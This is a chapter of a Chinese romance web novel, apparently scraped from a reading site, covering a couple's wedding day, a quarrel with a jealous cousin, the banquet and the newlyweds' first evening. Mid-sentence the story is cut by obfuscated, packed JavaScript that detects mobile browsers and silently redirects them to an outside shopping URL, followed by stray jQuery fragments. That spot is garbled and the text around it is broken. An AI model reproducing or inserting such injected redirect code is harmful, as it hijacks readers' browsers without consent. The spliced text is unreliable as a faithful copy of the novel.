沈盈婉看向门口站着的沈书晴,忽然想起,上次见面还是在她结婚那天了。
她眉头轻蹙,到底没说什么,可她不说话,沈书晴却自顾自说起来:“听说妹夫给了不少彩礼啊,还是个生得俊俏的,不过这亲妈早逝,倒不像是有福的,我这做姐姐的,可真是为你担心啊。”
沈盈婉早知她来者不善,刚要说什么,却被沈盈欢拉住,“我说书晴啊,你从小就嫉妒阿婉,怎么现在都结了婚了,还这么放不下,难不成,你过得不好,所以也见不得别人好吗?”
沈盈婉美眸微微瞪大,心里却很快慰,她姐姐向来是这个性格,而且最是护短。
沈书晴听了这话却是恼羞成怒:“我嫉妒她?我有什么可嫉妒她的!”她胸口上下起伏,显然是气得狠了。
“难道不是吗?不然你为什么老是对阿婉这看不惯那看不惯的,我早就想说了,你既然不喜欢,又何必来找不痛快,今天是阿婉大喜的日子,你可别找晦气!”
沈书晴恨恨地看向她们,半天也憋不出一句话来,她不想承认的那些隐晦的心思,现在却被直接戳破,屋内几人看她的眼神,就像是看什么垃圾一样,她发誓,从小到大,她都没有这么难堪过。
沈盈婉见此,也深觉没什么意思,她上前一步,缓缓说道:“书晴姐,他有福没福我不知道,但有一点我是明白的,总是小心翼翼窥探别人的幸福而不专注于自己生活的人,是不会有福的。今天你既然来了,我就当收到你的祝福了,至于别的,你就别再说了,你要是想留,就留下,不想留我也不会拦着,你自己看着办吧。”
她的语气听不出半点波澜,说完便平静地坐下,继续和孙月荷一起整理妆容了。
一时间,屋内三人便与沈书晴划分出界限来,没人再搭理她。
沈书晴仿佛第一次认识她这个堂妹一样,她忽然觉得自己很可笑,就像个跳梁小丑一样,一直沉浸在自己的世界里,她实在不想待下去了,深吸一口气,把手上拎的一盒点心放下,就转身离开了屋子。
“对了,书敏怎么没来?”沈盈欢拿起桌子上的木梳,一下一下地给沈盈婉梳着头发。
“她啊,她只请到半天假,得等中午才能来了。”
沈盈欢笑道:“她可倒好,不用帮忙,直接就能吃饭了。”
沈盈婉转头,“怎么,难道姐姐不愿意帮我呀?”
沈盈欢嗔她一眼,孙月荷也跟着笑,“好了,我看这都收拾得差不多了,估计你那秦同志也快到了,到时候,我可得好好看看这人是什么模样,能眼光这么好,把你娶回家啊!”
“你也跟着笑话我!”沈盈婉把头一扭,“我不理你们了。”
沈盈欢和孙月荷对视一眼,都忍不住笑起来,还没等她们继续说什么,就有人敲门,沈棠的声音响起,“阿婉,到了到了,你们好了没有?”
沈盈婉慌忙站起来,孙月荷笑道:“这真是说曹操曹操到了。”
“好了好了,咱们出去吧。”沈盈欢又帮她检查一番,确定没有纰漏,才说道。
沈盈婉心跳如鼓,她被簇拥着出得门去,一抬眼,就看到对面西装革履的男人,深灰色的挺括西装搭配一条正红色领带,身姿挺拔,清朗俊逸。
隔着人群,沈盈婉与他遥遥相望,漫天彩纸洒落,她弯起红唇,一步一步走向他……
初升的日光照射着飞舞的彩纸,散射出盈盈光晕,周围嘈杂的欢呼声似乎听不到了,秦君乔眼神专注地看着朝他走来的姑娘,缓缓伸出手去。
直到那只纤细嫩白的手搭上他的指尖,他才有了实感,眼前的红色是那样浓烈,让他下意识忘了呼吸,不知是谁喊了一句,他才恍然回神。
秦君乔手上用力,把人拉到眼前,然后一手揽住她的细腰,一手托住膝弯,稳稳地将她抱起来,沈盈婉惊呼一声,下意识环住他的脖颈,“你干嘛,这么多人呢!”
周围响起人们的欢呼,沈盈婉只能把头埋得更低,温热的呼吸洒到秦君乔耳边,他微微一顿,旋即加快了脚步,把人抱到门外,才轻轻放下。
“抱歉,是我没忍住。”秦君乔不好意思道。
这个时候了还说这些,沈盈婉不想理他,接亲用的也是自行车,只是车头挂了红色的绸带,显得格外喜庆。
秦君乔朝许晓梅和沈春深深鞠了一躬,“爸,妈,你们放心,我一定会对阿婉好的。”
人群中又响起起哄的声音,许晓梅眼睛有些湿润,还是笑着,没让眼泪流下,沈春最后又看一眼两人,摆摆手,“去吧!”
沈盈婉也不舍,“爸,妈,我……”
许晓梅连忙催促,“去吧,去吧,别哭!”
沈盈婉坐在车后座上,看着逐渐远去的家人,深吸一口气,秦君乔的声音传来,“阿婉,你别哭,一会儿还能见到的。”
哪有这么安慰人的,不过沈盈婉这么一想,还真把那些伤感给压下去了。
这时候的婚礼也简单,不过就是叫一些亲友来热闹热闹,有些家里条件一般的,更是只请些特别亲近的家人,摆两桌就算完事。
沈盈婉和秦君乔的亲朋好友不多,满打满算只摆了四桌,她和秦君乔把几桌都敬了一遍,亲亲热热地说笑一番,一趟下来,沈盈婉就有些累了。
沈书敏终于赶在上完菜的时候来了,她一看到秦君乔,就心生感叹,原来那次阿婉说的真没错,她这姐夫可是太英俊了,沈书敏偷偷凑到沈盈婉耳边,说起这事,沈盈婉揪了揪她的耳朵,“你到时候也找一个好看的,怎么样?”
“好啊!”沈书敏眼睛亮亮的。
沈盈婉轻笑,眼睛却不自觉打量起旁边的秦君乔来,他生得剑眉星目,一双桃花眼缱绻含情,果然是很好看的。
秦君乔余光注意到旁边人的注视,嘴角微微上扬,又夹起一块肉到她碗里,“多吃点,折腾半天,你肯定累了。”
沈盈婉轻轻嗯了一声,她是真有点饿了,早上也没吃什么东西
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239226|195748||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
一群人热热闹闹地边吃边聊,一直到下午两点,才都散了,每桌都吃得很干净,本来也没有太多菜,人们又不爱浪费,所以倒好收拾,只要把垃圾收了就行。
秦卫东让妻子和秦君阳先回去,自己留下帮着收拾,许晓梅和沈春也留下帮忙。
沈盈婉早跟秦君乔回家看过,这是第二次见秦卫东了,她自然地改口叫爸,秦卫东给了个红包,沈盈婉看看秦君乔,才笑着收下,两人又送他们出去。
回到家,沈盈婉一进屋就立刻歪歪斜斜地倒在床上,“太累了!”她抱怨道。
秦君乔跟着进来,看她这样,轻笑一声,坐在床边,“你累了就睡个午觉把,今天也没其他事儿了。”
沈盈婉看向他,这才意识到什么,立马爬起来,“那我睡会儿……你呢?”
“我还不累,你睡吧。”
沈盈婉忽然有些不自在,“你在这儿,这么看着我,我怎么睡啊?”她越说越小声,手还不自觉捏紧了自己的裙角。
“你这么说,那晚上怎么办?”秦君乔神情自然,只是语调上扬,明显是调侃的语气。
沈盈婉忽然心跳加速,她轻轻推他,“好了,你要是不睡,就去那边屋子吧,我真的困了,你在这我睡不着。”
秦君乔见状,也不再逗她,他伸手过去,轻轻地把她头上的红花发饰摘了下来,沈盈婉脸颊微烫,却见他把那朵红花拿在手里扬了扬,“你戴着这个呢,忘啦?”
等秦君乔出去,轻轻关上门,沈盈婉静静躺在床上,看着和沈家不太一样的天花板,还有屋子里明显带着另一个人气息的陈设布置,她有些新奇,又有种异样的感觉,但没过一会儿,她就沉沉睡去,实在是太累了,起了个大早还一直忙到现在,她实在坚持不住了。
再次睁开眼,秦君乔正在一旁的凳子上坐着,“醒啦。”
沈盈婉坐起来,伸了个懒腰,身上的大红裙子有些偏移,腰部还有些褶皱,秦君乔看了一眼便收回视线,只是拿着书页的手不自觉捏紧些许。
沈盈婉没注意到他的反应,刚要起身下来,看到自己身上的衣服,动作微顿,连忙伸手抚平,幸好这件裙子的布料不是特别显皱的那种,她偷偷看一眼秦君乔,后者头也没抬,似乎看书看得认真。
“几点啦?”她随意问道。
“快傍晚了,你想吃什么?我去做饭。”秦君乔放下手里的书,偏头看向她,柔声道。
沈盈婉站起身,“家里有什么菜呢?”
两人一起去了外间,商量着要做什么饭,最后,沈盈婉坐在了凳子上,看着秦君乔切菜炒菜,自己则乐得清闲,结婚的第一天,似乎比想象中好,她在心里感慨道。
算上那天秦君乔上门,这是第二次吃他做的饭了,沈盈婉尝了一口冒着热气的黄瓜炒鸡蛋,顿时满足地眯起眼来,“好吃!”
秦君乔嘴角微勾,眼角眉梢都透露着得意,如果他有尾巴的话,想必已经翘起来了。